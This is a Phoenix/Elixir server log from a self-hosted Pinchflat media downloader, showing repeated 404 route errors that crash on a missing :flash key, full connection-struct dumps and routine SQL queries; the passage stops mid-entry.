Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.372 [info] GET /media/52f93c84-6f35-414a-81e3-f8badefbfdf0/stream 17:53:44.372 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "52f93c84-6f35-414a-81e3-f8badefbfdf0", "v" => "1784945245"} Pipelines: [:maybe_basic_auth] 17:53:44.366 [error] #PID<0.163129.0> running PinchflatWeb.Endpoint (connection #PID<0.163128.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/366904/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163128.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163129.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/media/366904/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT8dlAKaCklYAFpoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163128.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163128.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163129.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], pat (truncated) 17:53:44.373 [debug] QUERY OK source="media_items" db=0.4ms idle=100.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["52f93c84-6f35-414a-81e3-f8badefbfdf0"] 17:53:44.373 [debug] Invalid range request for media item: 52f93c84-6f35-414a-81e3-f8badefbfdf0 - serving full file 17:53:44.373 [info] Sent 200 in 1ms 17:53:44.475 [info] GET /media_profiles/new 17:53:44.475 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 17:53:44.475 [info] GET /media_profiles/1 17:53:44.475 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 17:53:44.476 [info] GET /sources/3/force_download_pending 17:53:44.476 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=203.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.476 [debug] QUERY OK source="settings" db=0.1ms idle=203.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.476 [debug] QUERY OK source="settings" db=0.2ms idle=111.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.477 [debug] QUERY OK source="settings" db=0.3ms idle=110.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.477 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.477 [debug] QUERY OK source="settings" db=0.3ms idle=103.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.477 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.478 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:44.478 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.479 [debug] QUERY OK source="sources" db=0.8ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 17:53:44.479 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.481 [info] Sent 200 in 5ms 17:53:44.477 [error] #PID<0.163137.0> running PinchflatWeb.Endpoint (connection #PID<0.163136.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163137.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT84Cyi_IFWoAFppB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163137.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:44.481 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.482 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.482 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.485 [info] Sent 200 in 9ms 17:53:44.584 [info] GET /sources/3/force_download_pending 17:53:44.585 [debug] QUERY OK source="settings" db=0.2ms idle=105.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.585 [debug] QUERY OK source="settings" db=0.1ms idle=103.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.585 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.585 [error] #PID<0.163139.0> running PinchflatWeb.Endpoint (connection #PID<0.163138.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163138.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163139.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT9R6cosqiOMAFpqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163138.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163138.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: 